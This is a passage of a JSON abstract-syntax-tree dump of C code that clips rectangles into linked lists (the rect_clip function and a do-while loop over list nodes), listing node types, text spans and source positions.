80, "type": "*", "text": "*", "parent": 79, "children": [], "start_point": {"row": 44, "column": 8}, "end_point": {"row": 44, "column": 9}}, {"id": 81, "type": "identifier", "text": "pCur", "parent": 79, "children": [], "start_point": {"row": 44, "column": 9}, "end_point": {"row": 44, "column": 13}}, {"id": 82, "type": "do_statement", "text": "do {\r\n cur = (*pCur)->next;\r\n *clip = rect_clip(&(*pCur)->r, bound);\r\n if (*clip) {\r\n do {\r\n temp2 = (*clip)->next;\r\n clip = &(*clip)->next;\r\n } while (temp2);\r\n }\r\n temp3 = rlist;\r\n rlist = (*pCur);\r\n (*pCur)->next = temp3;\r\n (*pCur) = cur;\r\n } while (cur);", "parent": 77, "children": [162], "start_point": {"row": 45, "column": 8}, "end_point": {"row": 58, "column": 22}}, {"id": 83, "type": "assignment_expression", "text": "cur = (*pCur)->next", "parent": 82, "children": [84, 85, 86], "start_point": {"row": 46, "column": 12}, "end_point": {"row": 46, "column": 31}}, {"id": 84, "type": "identifier", "text": "cur", "parent": 83, "children": [], "start_point": {"row": 46, "column": 12}, "end_point": {"row": 46, "column": 15}}, {"id": 85, "type": "=", "text": "=", "parent": 83, "children": [], "start_point": {"row": 46, "column": 16}, "end_point": {"row": 46, "column": 17}}, {"id": 86, "type": "field_expression", "text": "(*pCur)->next", "parent": 83, "children": [87, 91], "start_point": {"row": 46, "column": 18}, "end_point": {"row": 46, "column": 31}}, {"id": 87, "type": "parenthesized_expression", "text": "(*pCur)", "parent": 86, "children": [88], "start_point": {"row": 46, "column": 18}, "end_point": {"row": 46, "column": 25}}, {"id": 88, "type": "pointer_expression", "text": "*pCur", "parent": 87, "children": [89, 90], "start_point": {"row": 46, "column": 19}, "end_point": {"row": 46, "column": 24}}, {"id": 89, "type": "*", "text": "*", "parent": 88, "children": [], "start_point": {"row": 46, "column": 19}, "end_point": {"row": 46, "column": 20}}, {"id": 90, "type": "identifier", "text": "pCur", "parent": 88, "children": [], "start_point": {"row": 46, "column": 20}, "end_point": {"row": 46, "column": 24}}, {"id": 91, "type": "field_identifier", "text": "next", "parent": 86, "children": [], "start_point": {"row": 46, "column": 27}, "end_point": {"row": 46, "column": 31}}, {"id": 92, "type": "assignment_expression", "text": "*clip = rect_clip(&(*pCur)->r, bound)", "parent": 82, "children": [93, 96, 97], "start_point": {"row": 47, "column": 12}, "end_point": {"row": 47, "column": 49}}, {"id": 93, "type": "pointer_expression", "text": "*clip", "parent": 92, "children": [94, 95], "start_point": {"row": 47, "column": 12}, "end_point": {"row": 47, "column": 17}}, {"id": 94, "type": "*", "text": "*", "parent": 93, "children": [], "start_point": {"row": 47, "column": 12}, "end_point": {"row": 47, "column": 13}}, {"id": 95, "type": "identifier", "text": "clip", "parent": 93, "children": [], "start_point": {"row": 47, "column": 13}, "end_point": {"row": 47, "column": 17}}, {"id": 96, "type": "=", "text": "=", "parent": 92, "children": [], "start_point": {"row": 47, "column": 18}, "end_point": {"row": 47, "column": 19}}, {"id": 97, "type": "call_expression", "text": "rect_clip(&(*pCur)->r, bound)", "parent": 92, "children": [98, 99], "start_point": {"row": 47, "column": 20}, "end_point": {"row": 47, "column": 49}}, {"id": 98, "type": "identifier", "text": "rect_clip", "parent": 97, "children": [], "start_point": {"row": 47, "column": 20}, "end_point": {"row": 47, "column": 29}}, {"id": 99, "type": "argument_list", "text": "(&(*pCur)->r, bound)", "parent": 97, "children": [100, 107], "start_point": {"row": 47, "column": 29}, "end_point": {"row": 47, "column": 49}}, {"id": 100, "type": "pointer_expression", "text": "&(*pCur)->r", "parent": 99, "children": [101], "start_point": {"row": 47, "column": 30}, "end_point": {"row": 47, "column": 41}}, {"id": 101, "type": "field_expression", "text": "(*pCur)->r", "parent": 100, "children": [102, 106], "start_point": {"row": 47, "column": 31}, "end_point": {"row": 47, "column": 41}}, {"id": 102, "type": "parenthesized_expression", "text": "(*pCur)", "parent": 101, "children": [103], "start_point": {"row": 47, "column": 31}, "end_point": {"row": 47, "column": 38}}, {"id": 103, "type": "pointer_expression", "text": "*pCur", "parent": 102, "children": [104, 105], "start_point": {"row": 47, "column": 32}, "end_point": {"row": 47, "column": 37}}, {"id": 104, "type": "*", "text": "*", "parent": 103, "children": [], "start_point": {"row": 47, "column": 32}, "end_point": {"row": 47, "column": 33}}, {"id": 105, "type": "identifier", "text": "pCur", "parent": 103, "children": [], "start_point": {"row": 47, "column": 33}, "end_point": {"row": 47, "column": 37}}, {"id": 106, "type": "field_identifier", "text": "r", "parent": 101, "children": [], "start_point": {"row": 47, "column": 40}, "end_point": {"row": 47, "column": 41}}, {"id": 107, "type": "identifier", "text": "bound", "parent": 99, "children": [], "start_point": {"row": 47, "column": 43}, "end_point": {"row": 47, "column": 48}}, {"id": 108, "type": "if_statement", "text": "if (*clip) {\r\n do {\r\n temp2 = (*clip)->next;\r\n clip = &(*clip)->next;\r\n } while (temp2);\r\n }", "parent": 82, "children": [109], "start_point": {"row": 48, "column": 12}, "end_point": {"row": 53, "column": 13}}, {"id": 109, "type": "parenthesized_expression", "text": "(*clip)", "parent": 108, "children": [110], "start_point": {"row": 48, "column": 15}, "end_point": {"row": 48, "column": 22}}, {"id": 110, "type": "pointer_expression", "text": "*clip", "parent": 109, "children": [111, 112], "start_point": {"row": 48, "column": 16}, "end_point": {"row": 48, "column": 21}}, {"id": 111, "type": "*", "text": "*", "parent": 110, "children": [], "start_point": {"row": 48, "column": 16}, "end_point": {"row": 48, "column": 17}}, {"id": 112, "type": "identifier", "text": "clip", "parent": 110, "children": [], "start_point": {"row": 48, "column": 17}, "end_point": {"row": 48, "column": 21}}, {"id": 113, "type": "do_statement", "text": "do {\r\n temp2 = (*clip)->next;\r\n clip = &(*clip)->next;\r\n } while (temp2);", "parent": 108, "children": [133], "start_point": {"row": 49, "column": 16}, "end_point": {"row": 52, "column": 32}}, {"id": 114, "type": "assignment_expression", "text": "temp2 = (*clip)->next", "parent": 113, "children": [115, 116, 117], "start_point": {"row": 50, "column": 20}, "end_point": {"row": 50, "column": 41}}, {"id": 115, "type": "identifier", "text": "temp2", "parent": 114, "children": [], "start_point": {"row": 50, "column": 20}, "end_point": {"row": 50, "column": 25}}, {"id": 116, "type": "=", "text": "=", "parent": 114, "children": [], "start_point": {"row": 50, "column": 26}, "end_point": {"row": 50, "column": 27}}, {"id": 117, "type": "field_expression", "text": "(*clip)->next", "parent": 114, "children": [118, 122], "start_point": {"row": 50, "column": 28}, "end_point": {"row": 50, "column": 41}}, {"id": 118, "type": "parenthesized_expression", "text": "(*clip)", "parent": 117, "children": [119], "start_point": {"row": 50, "column": 28}, "end_point": {"row": 50, "column": 35}}, {"id": 119, "type": "pointer_expression", "text": "*clip", "parent": 118, "children": [120, 121], "start_point": {"row": 50, "column": 29}, "end_point": {"row": 50, "column": 34}}, {"id": 120, "type": "*", "text": "*", "parent": 119, "children": [], "start_point": {"row": 50, "column": 29}, "end_point": {"row": 50, "column": 30}}, {"id": 121, "type": "identifier", "text": "clip", "parent": 119, "children": [], "start_point": {"row": 50, "column": 30}, "end_point": {"row": 50, "column": 34}}, {"id": 122, "type": "field_identifier", "text": "next", "parent": 117, "children": [], "start_point": {"row": 50, "column": 37}, "end_point": {"row": 50, "column": 41}}, {"id": 123, "type": "assignment_expression", "text": "clip = &(*clip)->next", "parent": 113, "children": [124, 125, 126], "start_point": {"row": 51, "column": 20}, "end_point": {"row": 51, "column": 41}}, {"id": 124, "type": "identifier", "text": "clip", "parent": 123, "children": [], "start_point": {"row": 51, "column": 20}, "end_point": {"row": 51, "column": 24}}, {"id": 125, "type": "=", "text": "=", "parent": 123, "children": [], "start_point": {"row": 51, "column": 25}, "end_point": {"row": 51, "column": 26}}, {"id": 126, "type": "pointer_expression", "text": "&(*clip)->next", "parent": 123, "children": [127], "start_point": {"row": 51, "column": 27}, "end_point": {"row": 51, "column": 41}}, {"id": 127, "type": "field_expression", "text": "(*clip)->next", "parent": 126, "children": [128, 132], "start_point": {"row": 51, "column": 28}, "end_point": {"row": 51, "column": 41}}, {"id": 128, "type": "parenthesized_expression", "text": "(*clip)", "parent": 127, "children": [129], "start_point": {"row": 51, "column": 28}, "end_point": {"row": 51, "column": 35}}, {"id": 129, "type": "pointer_expression", "text": "*clip", "parent": 128, "children": [130, 131], "start_point": {"row": 51, "column": 29}, "end_point": {"row": 51, "column": 34}}, {"id": 130, "type": "*", "text": "*", "parent": 129, "children": [], "start_point": {"row": 51, "column": 29}, "end_point": {"row": 51, "column": 30}}, {"id": 131, "type": "identifier", "text": "clip", "parent": 129, "children": [], "start_point": {"row": 51, "column": 30}, "end_point": {"row": 51, "column": 34}}, {"id": 132, "type": "field_identifier", "text": "next", "parent": 127, "children": [], "start_point": {"row": 51, "column": 37}, "end_point": {"row": 51, "column": 41}}, {"id": 133, "type": "parenthesized_expression", "text": "(temp2)", "parent": 113, "children": [134], "start_point": {"row": 52, "column": 24}, "end_point": {"row": 52, "column": 31}}, {"id": 134, "type": "identifier", "text": "temp2", "parent": 133, "children": [], "start_point": {"row": 52, "column": 25}, "end_point": {"row": 52, "column": 30}}, {"id": 135, "type": "assignment_expression", "text": "temp3 = rlist", "parent": 82, "children": [136, 137, 138], "start_point": {"row": 54, "column": 12}, "end_point": {"row": 54, "column": 25}}, {"id": 136, "type": "identifier", "text": "temp3", "parent": 135, "children": [], "start_point": {"row": 54, "column": 12}, "end_point": {"row": 54, "column": 17}}, {"id": 137, "type": "=", "text": "=", "parent": 135, "children": [], "start_point": {"row": 54, "column": 18}, "end_point": {"row": 54, "column": 19}}, {"id": 138, "type": "identifier", "text": "rlist", "parent": 135, "children": [], "start_point": {"row": 54, "column": 20}, "end_point": {"row": 54, "column": 25}}, {"id": 139, "type": "assignment_expression", "text": "rlist = (*pCur)", "parent": 82, "children": [140, 141, 142], "start_point": {"row": 55, "column": 12}, "end_point": {"row": 55, "column": 27}}, {"id": 140, "type": "identifier", "text": "rlist", "parent": 139, "children": [], "start_point": {"row": 55, "column": 12}, "end_point": {"row": 55, "column": 17}}, {"id": 141, "type": "=", "text": "=", "parent": 139, "children": [], "start_point": {"row": 55, "column": 18}, "end_point": {"row": 55, "column": 19}}, {"id": 142, "type": "parenthesized_expression", "text": "(*pCur)", "parent": 139, "children": [143], "start_point": {"row": 55, "column": 20}, "end_point": {"row": 55, "column": 27}}, {"id": 143, "type": "pointer_expression", "text": "*pCur", "parent": 142, "children": [144, 145], "start_point": {"row": 55, "column": 21}, "end_point": {"row": 55, "column": 26}}, {"id": 144, "type": "*", "text": "*", "parent": 143, "children": [], "start_point": {"row": 55, "column": 21}, "end_point": {"row": 55, "column": 22}}, {"id": 145, "type": "identifier", "text": "pCur", "parent": 143, "children": [], "start_point": {"row": 55, "column": 22}, "end_point": {"row": 55, "column": 26}}, {"id": 146, "type": "assignment_expression", "text": "(*pCur)->next = temp3", "parent": 82, "children": [147, 153, 154], "start_point": {"row": 56, "column": 12}, "end_point": {"row": 56, "column": 33}}, {"id": 147, "type": "field_expression", "text": "(*pCur)->next", "parent": 146, "children": [148, 152], "start_point": {"row": 56, "column": 12}, "end_point": {"row": 56, "column": 25}}, {"id": 148, "type": "parenthesized_expression", "text": "(*pCur)", "parent": 147, "children": [149], "start_point": {"row": 56, "column": 12}, "end_point": {"row": 56, "column": 19}}, {"id": 149, "type": "pointer_expression", "text": "*pCur", "parent": 148, "children": [150, 151], "start_point": {"row": 56, "column": 13}, "end_point": {"row": 56, "column": 18}}, {"id": 150, "type": "*", "text": "*", "parent": 149, "children": [], "start_point": {"row": 56, "column": 13}, "end_point": {"row": 56, "column": 14}}, {"id": 151, "type": "identifier", "text": "pCur", "parent": 149, "children": [], "start_point": {"row": 56, "column": 14}, "end_point": {"row": 56, "column": 18}}, {"id": 152, "type": "field_identifier", "text": "next", "parent": 147, "children": [], "start_point": {"row": 56, "column": 21}, "end_point": {"row": 56, "column": 25}}, {"id": 153, "type": "=", "text": "=", "parent": 146, "children": [], "start_point": {"row": 56, "column": 26}, "end_point": {"row": 56, "column": 27}}, {"id": 154, "type": "identifier", "text": "temp3", "parent": 146, "children": [], "start_point": {"row": 56, "column": 28}, "end_point": {"row": 56, "column": 33}}, {"id": 155, "type": "assignment_expression", "text": "(*pCur) = cur", "parent": 82, "children": [156, 160, 161], "start_point": {"row": 57, "column": 12}, "end_point": {"row": 57, "column": 25}}, {"id": 156, "type": "parenthesized_expression", "text": "(*pCur)", "parent": 155, "children": [157], "start_point": {"row": 57, "column": 12}, "end_point": {"row": 57, "column": 19}}, {"id": 157, "type": "pointer_expression", "text": "*pCur", "parent": 156, "children": [158, 159], "start_point": {"row": 57, "column": 13}, "end_point": {"row": 57, "column": 18}}, {"id": 158, "type": "*", "text": "*", "parent": 157, "children": [], "start_point": {"row": 57, "column": 13}, "end_point": {"row": 57, "column": 14}}, {"id": 159, "type": "identifier", "text": "pCur", "parent": 157, "children": [], "start_point": {"row": 57, "column": 14}, "end_point": {"row": 57, "column": 18}}, {"id": 160, "type": "=", "text": "=", "parent": 155, "children": [], "start_point": {"row": 57, "column": 20}, "end_point": {"row": 57, "column": 21}}, {"id": 161, "type": "identifier", "text": "cur", "parent": 155, "children": [], "start_point": {"row": 57, "column": 22}, "end_point": {"row": 57, "column": 25}}, {"id": 162, "type": "parenthesized_expression", "text": "(cur)", "parent": 82, "children": [163], "start_point": {"row": 58, "column": 16}, "end_point": {"row": 58, "column": 21}}, {"id": 163, "type": "identifier", "text": "cur", "parent": 162, "children": [], "start_point": {"row": 58, "column": 17}, "end_point": {"row": 58, "column": 20}}, {"id": 164, "type": "assignment_expression", "text": "*pCur = temp", "parent": 35, "children": [165, 168, 169], "start_point": {"row": 60, "column": 4}, "end_point": {"row": 60, "column": 16}}, {"id": 165, "type": "pointer_expression", "text": "*pCur", "parent": 164, "children": [166, 167], "start_point": {"row": 60, "column": 4}, "end_point": {"row": 60, "column": 9}}, {"id": 166, "type": "*", "text": "*", "parent": 165, "children": [], "start_point": {"row": 60, "column": 4}, "end_point": {"row": 60, "column": 5}}, {"id": 167, "type": "identifier", "text": "pCur", "parent": 165, "children": [], "start_point": {"row": 60, "column": 5}, "end_point": {"row": 60, "column": 9}}, {"id": 168, "type": "=", "text": "=", "parent": 164, "children": [], "start_point": {"row": 60, "column": 10}, "end_point": {"row": 60, "column": 11}}, {"id": 169, "type": "identifier", "text": "temp", "parent": 164, "children": [], "start_point": {"row": 60, "column": 12}, "end_point": {"row": 60, "column": 16}}, {"id": 170, "type": "function_definition", "text": "RectPtr rect_clip(Rect *b, Rect *t) {\r\n Rect rect[4];\r\n Rect clipped;\r\n RectPtr ptr;\r\n\r\n ptr = NULL;\r\n if (rect_inside_bound(t, b, &clipped)) {\r\n ptr = rect_malloc();\r\n if (ptr) {\r\n ptr->r = *b;\r\n ptr->next = NULL;\r\n }\r\n } else {\r\n rect[0].ulx = b->ulx;\r\n rect[0].uly = b->uly;\r\n rect[0].lrx = b->lrx;\r\n rect[0].lry = clipped.uly - 1;\r\n\r\n rect[1].ulx = b->ulx;\r\n rect[1].uly = clipped.uly;\r\n rect[1].lrx = clipped.ulx - 1;\r\n rect[1].lry = clipped.lry;\r\n\r\n rect[2].ulx = clipped.lrx + 1;\r\n rect[2].uly = clipped.uly;\r\n rect[2].lrx = b->lrx;\r\n rect[2].lry = clipped.lry;\r\n\r\n rect[3].ulx = b->ulx;\r\n rect[3].uly = clipped.lry + 1;\r\n rect[3].lrx = b->lrx;\r\n rect[3].lry = b->lry;\r\n\r\n {\r\n RectPtr *rect_ptr;\r\n rect_ptr = &ptr;\r\n int i = 0;\r\n\r\n do {\r\n if (rect[i].ulx <= rect[i].lrx && rect[i].uly <= rect[i].lry) {\r\n *rect_ptr = rect_malloc();\r\n if (*rect_ptr == NULL) {\r\n return NULL;\r\n }\r\n\r\n (*rect_ptr)->r.ulx = rect[i].ulx;\r\n (*rect_ptr)->r.uly = rect[i].uly;\r\n (*rect_ptr)->r.lrx = rect[i].lrx;\r\n (*rect_ptr)->r.lry = rect[i].lry;\r\n\r\n (*rect_ptr)->next = NULL;\r\n rect_ptr = &(*rect_ptr)->next;\r\n }\r\n ++i;\r\n } while (i < 4);\r\n }\r\n }\r\n\r\n return ptr;\r\n}", "parent": null, "children": [171, 172], "start_point": {"row": 63, "column": 0}, "end_point": {"row": 122, "column": 1}}, {"id": 171, "type": "type_identifier", "text": "RectPtr", "parent": 170, "children": [], "start_point": {"row": 63, "column": 0}, "end_point": {"row": 63, "column": 7}}, {"id": 172, "type": "function_declarator", "text": "rect_clip(Rect *b, Rect *t)", "parent": 170, "children": [173, 174], "start_point": {"row": 63, "column": 8}, "end_point": {"row": 63, "column": 35}}, {"id": 173, "type": "identifier", "text": "rect_clip", "parent": 172, "children": [], "start_point": {"row": 63, "column": 8}, "end_point": {"row": 63, "column": 17}}, {"id": 174, "type": "parameter_list", "text": "(Rect *b, Rect *t)", "parent": 172, "children": [175, 180], "start_point": {"row": 63, "column": 17}, "end_point": {"row": 63, "column": 35}}, {"id": 175, "type": "parameter_declaration", "text": "Rect *b", "parent": 174, "children": [176, 177], "start_point": {"row": 63, "column": 18}, "end_point": {"row": 63, "column": 25}}, {"id": 176, "type": "type_identifier", "text": "Rect", "parent": 175, "children": [], "start_point": {"row": 63, "column": 18}, "end_point": {"row": 63, "column": 22}}, {"id": 177, "type": "pointer_declarator", "text": "*b", "parent": 175, "children": [178, 179], "start_point": {"row": 63, "column": 23}, "end_point": {"row": 63, "column": 25}}, {"id": 178, "type": "*", "text": "*", "parent": 177, "children": [], "start_point": {"row": 63, "column": 23}, "end_point": {"row": 63, "column": 24}}, {"id": 179, "type": "identifier", "text": "b", "parent": 177, "children": [], "start_point": {"row": 63, "column": 24}, "end_point": {"row": 63, "column": 25}}, {"id": 180, "type": "parameter_declaration", "text": "Rect *t", "parent": 174, "children": [181, 182], "start_point": {"row": 63, "column": 27}, "end_point": {"row": 63, "column": 34}}, {"id": 181, "type": "type_identifier", "text": "Rect", "parent": 180, "children": [], "start_point": {"row": 63, "column": 27}, "end_point": {"row": 63, "column": 31}}, {"id": 182, "type": "pointer_declarator", "text": "*t", "parent": 180, "children": [183, 184], "start_point": {"row": 63, "column": 32}, "end_point": {"row": 63, "column": 34}}, {"id": 183, "type": "*", "text": "*", "parent": 182, "children": [], "start_point": {"row": 63, "column": 32}, "end_point": {"row": 63, "column": 33}}, {"id": 184, "type": "identifier", "text": "t", "parent": 182, "children": [], "start_point": {"row": 63, "column": 33}, "end_point": {"row": 63, "column": 34}}, {"id": 185, "type": "declaration", "text": "Rect rect[4];", "parent": 170, "children": [186, 187], "start_point": {"row": 64, "column": 4}, "end_point": {"row": 64, "column": 17}}, {"id": 186, "type": "type_identifier", "text": "Rect", "parent": 185, "children": [], "start_point": {"row": 64, "column": 4}, "end_point": {"row": 64, "column": 8}}, {"id": 187, "type": "array_declarator", "text": "rect[4]", "parent": 185, "children": [188, 189], "start_point": {"row": 64, "column": 9}, "end_point": {"row": 64, "column": 16}}, {"id": 188, "type": "identifier", "text": "rect", "parent": 187, "children": [], "start_point": {"row": 64, "column": 9}, "end_point": {"row": 64, "column": 13}}, {"id": 189, "type": "number_literal", "text": "4", "parent": 187, "children": [], "start_point": {"row": 64, "column": 14}, "end_point": {"row": 64, "column": 15}}, {"id": 190, "type": "declaration", "text": "Rect clipped;", "parent": 170, "children": [191, 192], "start_point": {"row": 65, "column": 4}, "end_point": {"row": 65, "column": 17}}, {"id": 191, "type": "type_identifier", "text": "Rect", "parent": 190, "children": [], "start_point": {"row": 65, "column": 4}, "end_point": {"row": 65, "column": 8}}, {"id": 192, "type": "identifier", "text": "clipped", "parent": 190, "children": [], "start_point": {"row": 65, "column": 9}, "end_point": {"row": 65, "column": 16}}, {"id": 193, "type": "declaration", "text": "RectPtr ptr;", "parent": 170, "children": [194, 195], "start_point": {"row": 66, "column": 4}, "end_point": {"row": 66, "column": 16}}, {"id": 194, "type": "type_identifier", "text": "RectPtr", "parent": 193, "children": [], "start_point": {"row": 66, "column": 4}, "end_point": {"row": 66, "column": 11}}, {"id": 195, "type": "identifier", "text": "ptr", "parent": 193, "children": [], "start_point": {"row": 66, "column": 12}, "end_point": {"row": 66, "column": 15}}, {"id": 196, "type": "assignment_expression", "text": "ptr = NULL", "parent": 170, "children": [197, 198, 199], "start_point": {"row": 68, "column": 4}, "end_point": {"row": 68, "column": 14}}, {"id": 197, "type": "identifier", "text": "ptr", "parent": 196, "children": [], "start_point": {"row": 68, "column": 4}, "end_point": {"row": 68, "column": 7}}, {"id": 198, "type": "=", "text": "=", "parent": 196, "children": [], "start_point": {"row": 68, "column": 8}, "end_point": {"row": 68, "column": 9}}, {"id": 199, "type": "null", "text": "NULL", "parent": 196, "children": [200], "start_point": {"row": 68, "column": 10}, "end_point": {"row": 68, "column": 14}}, {"id": 200, "type": "NULL", "text": "NULL", "parent": 199, "children": [], "start_point": {"row": 68, "column": 10}, "end_point": {"row": 68, "column": 14}}, {"id": 201, "type": "if_statement", "text": "if (rect_inside_bound(t, b, &clipped)) {\r\n ptr = rect_malloc();\r\n if (ptr) {\r\n ptr->r = *b;\r\n ptr->next = NULL;\r\n }\r\n } else {\r\n rect[0].ulx = b->ulx;\r\n rect[0].uly = b->uly;\r\n rect[0].lrx = b->lrx;\r\n rect[0].lry = clipped.uly - 1;\r\n\r\n rect[1].ulx = b->ulx;\r\n rect[1].uly = clipped.uly;\r\n rect[1].lrx = clipped.ulx - 1;\r\n rect[1].lry = clipped.lry;\r\n\r\n rect[2].ulx = clipped.lrx + 1;\r\n rect[2].uly = clipped.uly;\r\n rect[2].lrx = b->lrx;\r\n rect[2].lry = clipped.lry;\r\n\r\n rect[3].ulx = b->ulx;\r\n rect[3].uly = clipped.lry + 1;\r\n rect[3].lrx = b->lrx;\r\n rect[3].lry = b->lry;\r\n\r\n {\r\n RectPtr *rect_ptr;\r\n rect_ptr = &ptr;\r\n int i = 0;\r\n\r\n do {\r\n if (rect[i].ulx <= rect[i].lrx && rect[i].uly <= rect[i].lry) {\r\n *rect_ptr = rect_malloc();\r\n if (*rect_ptr == NULL) {\r\n return NULL;\r\n }\r\n\r\n (*rect_ptr)->r.ulx = rect[i].ulx;\r\n (*rect_ptr)->r.uly = rect[i].uly;\r\n (*rect_ptr)->r.lrx = rect[i].lrx;\r\n (*rect_ptr)->r.lry = rect[i].lry;\r\n\r\n (*rect_ptr)->next = NULL;\r\n rect_ptr = &(*rect_ptr)->next;\r\n }\r\n ++i;\r\n } while (i < 4);\r\n }\r\n }", "parent": 170, "children": [202, 234], "start_point": {"row": 69, "column": 4}, "end_point": {"row": 119, "column": 5}}, {"id": 202, "type": "parenthesized_expression", "text": "(rect_inside_bound(t, b, &clipped))", "parent": 201, "children": [203], "start_point": {"row": 69, "column": 7}, "end_point": {"row": 69, "column": 42}}, {"id": 203, "type": "call_expression", "text": "rect_inside_bound(t, b, &clipped)", "parent": 202, "children": [204, 205], "start_point": {"row": 69, "column": 8}, "end_point": {"row": 69, "column": 41}}, {"id": 204, "type": "identifier", "text": "rect_inside_bound", "parent": 203, "children": [], "start_point": {"row": 69, "column": 8}, "end_point": {"row": 69, "column": 25}}, {"id": 205, "type": "argument_list", "text": "(t, b, &clipped)", "parent": 203, "children": [206, 207, 208], "start_point": {"row": 69, "column": 25}, "end_point": {"row": 69, "column": 41}}, {"id": 206, "type": "identifier", "text": "t", "parent": 205, "children": [], "start_point": {"row": 69, "column": 26}, "end_point": {"row": 69, "column": 27}}, {"id": 207, "type": "identifier", "text": "b", "parent": 205, "children": [], "start_point": {"row": 69, "column": 29}, "end_point": {"row": 69, "column": 30}}, {"id": 208, "type": "pointer_expression", "text": "&clipped", "parent": 205, "children": [209], "start_point": {"row": 69, "column": 32}, "end_point": {"row": 69, "column": 40}}, {"id": 209, "type": "identifier", "text": "clipped", "parent": 208, "children": [], "start_point": {"row": 69, "column": 33}, "end_point": {"row": 69, "column": 40}}, {"id": 210, "type": "assignment_expression", "text": "ptr = rect_malloc()", "parent": 201, "children": [211, 212, 213], "start_point": {"row": 70, "column": 8}, "end_point": {"row": 70, "column": 27}}, {"id": 211, "type": "identifier", "text": "ptr", "parent": 210, "children": [], "start_point": {"row": 70, "column": 8}, "end_point": {"row": 70, "column": 11}}, {"id": 212, "type": "=", "text": "=", "parent": 210, "children": [], "start_point": {"row": 70, "column": 12}, "end_point": {"row": 70, "column": 13}}, {"id": 213, "type": "call_expression", "text": "rect_malloc()", "parent": 210, "children": [214, 215], "start_point": {"row": 70, "column": 14}, "end_point": {"row": 70, "column": 27}}, {"id": 214, "type": "identifier", "text": "rect_malloc", "parent": 213, "children": [], "start_point": {"row": 70, "column": 14}, "end_point": {"row": 70, "column": 25}}, {"id": 215, "type": "argument_list", "text": "()", "parent": 213, "children": [], "start_point": {"row": 70, "column": 25}, "end_point": {"row": 70, "column": 27}}, {"id": 216, "type": "if_statement", "text": "if (ptr) {\r\n ptr->r = *b;\r\n ptr->next = NULL;\r\n }", "parent": 201, "children": [217], "start_point": {"row": 71, "column": 8}, "end_point": {"row": 74, "column": 9}}, {"id": 217, "type": "parenthesized_expression", "text": "(ptr)", "parent": 216, "children": [218], "start_point": {"row": 71, "column": 11}, "end_point": {"row": 71, "column": 16}}, {"id": 218, "type": "identifier", "text": "ptr", "parent": 217, "children": [], "start_point": {"row": 71, "column": 12}, "end_point": {"row": 71, "column": 15}}, {"id": 219, "type": "assignment_expression", "text": "ptr->r = *b", "parent": 216, "children": [220, 223, 224], "start_point": {"row": 72, "column": 12}, "end_point": {"row": 72, "column": 23}}, {"id": 220, "type": "field_expression", "text": "ptr->r", "parent": 219, "children": [221, 222], "start_point": {"row": 72, "column": 12}, "end_point": {"row": 72, "column": 18}}, {"id": 221, "type": "identifier", "text": "ptr", "parent": 220, "children": [], "start_point": {"row": 72, "column": 12}, "end_point": {"row": 72, "column": 15}}, {"id": 222, "type": "field_identifier", "text": "r", "parent": 220, "children": [], "start_point": {"row": 72, "column": 17}, "end_point": {"row": 72, "column": 18}}, {"id": 223, "type": "=", "text": "=", "parent": 219, "children": [], "start_point": {"row": 72, "column": 19}, "end_point": {"row": 72, "column": 20}}, {"id": 224, "type": "pointer_expression", "text": "*b", "parent": 219, "children": [225, 226], "start_point": {"row": 72, "column": 21}, "end_point": {"row": 72, "column": 23}}, {"id": 225, "type": "*", "text": "*", "parent": 224, "children": [], "start_point": {"row": 72, "column": 21}, "end_point": {"row": 72, "column": 22}}, {"id": 226, "type": "identifier", "text": "b", "parent": 224, "children": [], "start_point": {"row": 72, "column": 22}, "end_point": {"row": 72, "column": 23}}, {"id": 227, "type": "assignment_expression", "text": "ptr->next = NULL", "parent": 216, "children": [228, 231, 232], "start_point": {"row": 73, "column": 12}, "end_point": {"row": 73, "column": 28}}, {"id": 228, "type": "field_expression", "text": "ptr->next", "parent": 227, "children": [229, 230], "start_point": {"row": 73, "column": 12}, "end_point": {"row": 73, "column": 21}}, {"id": 229, "type": "identifier", "text": "ptr", "parent": 228, "children": [], "start_point": {"row": 73, "column": 12}, "end_point": {"row": 73, "column": 15}}, {"id": 230, "type": "field_identifier", "text": "next", "parent": 228, "children": [], "start_point": {"row": 73, "column": 17}, "end_point": {"row": 73, "column": 21}}, {"id": 231, "type": "=", "text": "=", "parent": 227, "children": [], "start_point": {"row": 73, "column": 22}, "end_point": {"row": 73, "column": 23}}, {"id": 232, "type": "null", "text": "NULL", "parent": 227, "children": [233], "start_point": {"row": 73, "column": 24}, "end_point": {"row": 73, "column": 28}}, {"id": 233, "type": "NULL", "text": "NULL", "parent": 232, "children": [], "start_point": {"row": 73, "column": 24}, "end_point": {"row": 73, "column": 28}}, {"id": 234, "type": "else_clause", "text": "else {\r\n rect[0].ulx = b->ulx;\r\n rect[0].uly = b->uly;\r\n rect[0].lrx = b->lrx;\r\n rect[0].lry = clipped.uly - 1;\r\n\r\n rect[1].ulx = b->ulx;\r\n rect[1].uly = clipped.uly;\r\n rect[1].lrx = clipped.ulx - 1;\r\n rect[1].lry = clipped.lry;\r\n\r\n rect[2].ulx = clipped.lrx + 1;\r\n rect[2].uly = clipped.uly;\r\n rect[2].lrx = b->lrx;\r\n rect[2].lry = clipped.lry;\r\n\r\n rect[3].ulx = b->ulx;\r\n rect[3].uly = clipped.lry + 1;\r\n rect[3].lrx = b->lrx;\r\n rect[3].lry = b->lry;\r\n\r\n {\r\n RectPtr *rect_ptr;\r\n rect_ptr = &ptr;\r\n int i = 0;\r\n\r\n do {\r\n if (rect[i].ulx <= rect[i].lrx && rect[i].uly <= rect[i].lry) {\r\n *rect_ptr = rect_malloc();\r\n if (*rect_ptr == NULL) {\r\n return NULL;\r\n }\r\n\r\n (*rect_ptr)->r.ulx = rect[i].ulx;\r\n (*rect_ptr)->r.uly = rect[i].uly;\r\n (*rect_ptr)->r.lrx = rect[i].lrx;\r\n (*rect_ptr)->r.lry = rect[i].lry;\r\n\r\n (*rect_ptr)->next = NULL;\r\n rect_ptr = &(*rect_ptr)->next;\r\n }\r\n ++i;\r\n } while (i < 4);\r\n }\r\n }", "parent": 201, "children": [], "start_point": {"row": 75, "column": 6}, "end_point": {"row": 119, "column": 5}}, {"id": 235, "type": "assignment_expression", "text": "rect[0].ulx = b->ulx", "parent": 234, "children": [236, 241, 242], "start_point": {"row": 76, "column": 8}, "end_point": {"row": 76, "column": 28}}, {"id": 236, "type": "field_expression", "text": "rect[0].ulx", "parent": 235, "children": [237, 240], "start_point": {"row": 76, "column": 8}, "end_point": {"row": 76, "column": 19}}, {"id": 237, "type": "subscript_expression", "text": "rect[0]", "parent": 236, "children": [238, 239], "start_point": {"row": 76, "column": 8}, "end_point": {"row": 76, "column": 15}}, {"id": 238, "type": "identifier", "text": "rect", "parent": 237, 